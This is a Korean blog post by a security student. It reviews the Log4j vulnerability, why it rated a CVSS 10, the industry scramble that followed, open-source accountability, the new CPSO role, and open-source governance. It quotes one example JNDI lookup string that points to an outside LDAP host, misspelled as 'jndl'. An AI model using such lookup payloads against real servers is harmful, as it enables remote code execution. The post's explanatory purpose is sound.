[보안 동향]오픈소스 취약점에 대한 고찰

작년 이 맘때 보안업계에서 log4j 취약점때문에 주변 선배들이 밤낮으로 바쁘게 움직였던게 생각이난다.

그 여파가 아직은 계속있지만 벌써 1년이 넘어간 시점에서 다시 한번 오픈소스 취약점에 대해서 얼마나 큰 여파를 줬는지 앞으로 어떻게 대응할지에 생각하기위해서는 이를 회고할 필요가 있기에 이렇게 다시 한번 정리하고자 한다.

 

Log4j란 무엇인가?

- log4j의 기능은 웹 서비스 동작 과정에서 일어나는 일련의 모든 기록을 남겨 침해사고 발생 및 이상징후를 점검하기 위해 필수적으로 필요한 기능이다. 무료로 제공되는 오픈소스 프로그램으로 Java 기반의 모든 어플리케이션에서 사용 가능하다.

 

Log4j 보안 취약점 개요

Log4j는 Java기반 오픈소스 유틸리티로 엔터프라이즈 애플리케이션과 웹사이트에서 많이 사용되는 오픈소스이다. 해당 보안 취약점은 최초 21년 11월 24일, 알리바바 클라우드 보안팀의 ‘Chen Zhaojun’에 의해 발견되었으며 CVE 기준 10점이라는 취약점 점수를 부여받았다.

해당 취약점이 CVE 에서 가장 높은 점수인 10점을 부여받은 이유에 대해서는 크게 3가지로 원인을 말할 수 있다.

첫 번째, 너무나도 위험한 RCE 취약점이라는 점. RCE는 Remote Code Execution 의 약어로 해커가 보안 취약점을 이용해 원격에서 사용자 시스템과 네트워크에 접속하고 코드를 실행시킬 수 있는 취약점이다. 이를 악용하면 서버의 제어권을 획득 가능하며 기업의 전체 네트워크까지 장악할 수 있다.

두 번째, RCE 라는 위험한 취약점을 갖고 있지만, 취약점 발생조건은 너무나도 쉽다는점이다.

예시 코드는 다음과 같다 ${jndl:ldap://Forensic.com/a} 코드의 발생 개요를 확인해보면 JNDI라는 lookup에서 취약점이 존재하는 것이다. 기본적으로 명령을 수행하는 서버는 적절한 권한을 가진 사용자에 의해서만 명령을 수행하지만, 해당 JNDL에서는 뒤에 있는 URL에서 공격코드가 존재 시 해당 URL에서 공격코드를 불러와 서버에서 실행하게 된다.

 

세 번째, JAVA이다. JAVA라는 이유로 가장 높은 취약점을 받은 이유가 된 이유는 자바가 엄청난 유저를 보유하고 있기 때문이다. 해당 취약점은 자바를 사용하는 대다수의 유저 에게 노출되었기 때문에 위의 세 가지 점이 모여 가장 위험하고, 가장 쉬우며 가장 많은 사람에게 노출된 취약점이 된 것이다.

 

취약점 발생 이후

취약점 발생 이후 보안업계는 말 그대로 초비상 상태에 돌입했다. 가족과 따스하게 연말을 보내려던 보안업계 종사자들은 말 그대로 지옥의 연말을 보냈었다.

그럼에도 불구하고 많은 화이트해커와 기업 관리자들은 발 빠른 대처에 들어갔는데 이는 그만큼 위험한 취약점이라는 반증이다. KISA에 12.11 올라온 Log4j 보안 업데이트 권고사항의 조회 수는 약 40만 명이 열람(사진은 작년 기준)하며 조회 수가 다른 공지사항에 무려 100배 가까이 차이가 났다.

 

오픈소스의 양면

우리는 Log4j 취약점을 통해 다시 한번 돌아볼 필요를 느낀다. 인간은 경험을 기록하고 경험을 통해 성장하며 문명의 발전을 이룩하였다. 하지만 우리는 이러한 경험이 처음이 아니다. 오픈소스로 인한 취약점은 Log4j 사태 이전에도 존재하였다. 오픈소스로 인한 취약점 사태로는 Log4j 이전에는 하트 블리드 사태를 생각해낼 수 있다.

Every-body's Business, Is No-body's Business

모두의 일은 모두의 일이 아니다. - 책임자가 많으면 책임을 미룬다는 의미의 속담이다.

오픈소스는 그 특징상 모두가 함께 프로젝트를 참여할 수 있다. 이는 모두에게 책임을 두고 내가 아니더라도 누군가가 잘하는 사람이 해결하겠지 라고 안심하기도 하고 또는 악의적인 의도를 가진 사용자가 위·변조를 하더라도 별일 없겠지라며
생각으로 이어질 수 있다. 이러한 오픈소스 취약점을 막기 위해서는 최초 개발단계부터 사용 단계까지 모두가 인식을 재고하고 제로 트러스트를 기반으로 프로덕션에 적용되는 코드를 끊임없이 검증하고 사용하는 노력이 필요하다.

미국 또한 마찬가지로 오픈소스의 양면을 확인하고 보안 강화에 노력하는 행보를 보였다.

https://zdnet.co.kr/view/?no=20220114115211 

로그4j에 놀란 미국…"오픈소스 보안 강화하자"

 

사건 이후 외국의 동향 – 새로운 C 레벨의 등장

Log4J 사건 이후 미국 백악관에서 정부 기관과 민간 기업 사이의 협력을 강조하는분위기가 이뤄지면서 전통적인 의미의 사이버 보안 직무가 계속 바뀌고 새로운 직책이 늘어나고 있다.

이 과정에서 새로 생긴 포지션이 바로 CPSO라는 포지션이다. 이는 개발자와 보안 담당자 사이를 이끌어주는 사람으로서, 단순 중개를 넘어 기업의 철학과 기본 밑바탕이 되는 워크플로우의 변화까지도 이끌어내는 역할을 수행한다.

이런 외국의 분위기는 디지털 시대 전환에 맞춰가는 것이다. 디지털 시대 전환으로 우리의 삶에서 의식주가 모두 디지털로 접근이 가능해지면서 국내도 개발자들의 공급은 꾸준히 늘어나는 추세지만 엄청난 수의 수요를 따라가지 못하고 계속해서 시장이 과열되는 게 현시점이다.

매일 엄청난 수의 코드가 생겨나는데 개발자들이 의외로 ‘정보 보안’과는 거리가 먼 경우가 많다. 그저 본인이 코딩을 했다고 해서 보안을 수행할 수 있다는 의미가 아니라는 것이다. 반대로 보안을 잘한다고 해서 코딩을 잘한다는것도 아니다. 이러한 간극 사이에서 발생하는 소프트웨어 취약점을 막고 사전에 예방을 하기 위해서 필요한 것이 CPSO이다.

 

국내 오픈소스에 대한 인식 변화

국내 기업 중 일부는 log4j 사건 이후 오픈체인 프로젝트의 오픈소스 국제 표준 인증을 획득하는 등 신뢰성 있는 오픈소스 사용에 노력하는 모습을 확인했다.

https://www.kakaocorp.com/page/detail/9664

카카오, 오픈소스 국제 표준 인증 획득

 

오픈소스 관리체계 방향성

Log4j 사건 이후 우리는 오픈소스 사용에 대해서 신중해질 필요가 생겼다. 출처가 불분명한 오픈소스의 사용은 심각한 보안 취약점으로 이어질 수 있기 때문이다. 개발자들은 오픈소스를 이용하기 전 해당 오픈소스의 개발자가 누구인지, 해당 개발자가 신뢰할수 있는 개발자인지, 코드에서는 취약점이 존재하는지를 체크할 수 있는 체계적인 규칙이 필요하다.

하지만 개발자들에게 보안을 강조하기는 어려운 게 현실이다. 개발자들은 구현에 좀 더 중점을 두고 보안인들은 제한에 더 중점을 두기 때문에 이러한 상극적인 이유로 외국의 동향과 같이 해당 간극을 줄일 방안이 필요하다.

현재로서는 기업은 오픈체인등의 신뢰성 있는 오픈소스 프로젝트를 이용해야 하며, 자체적으로 체계적인 규칙을 제작하여 사용에 있어서 신중함을 기여할 필요가 있다.

 

보안을 공부하는 한 대학생의 개인적인 의견

앞으로도 오픈소스는 우리 삶에 있어서 필수 불가결한 존재가 될 것이다. 이러한 시점에서 우리는 발전의 속도도 중요 하지만 속도 보다 더 중요한 것은 얼마나 정확하고 안전한지가 쟁점이 되어야 한다고 생각한다. 기술의 발전은 빠르면 빠를수록 좋지만 빠른 속도는 언제나 넘어졌을 때 큰 상처를 남기는 법이다. 영향력 있는 오픈소스의 취약점 발생 사건을 통해 우리는 현재를 점검할 좋은 경험을 한 셈 이다.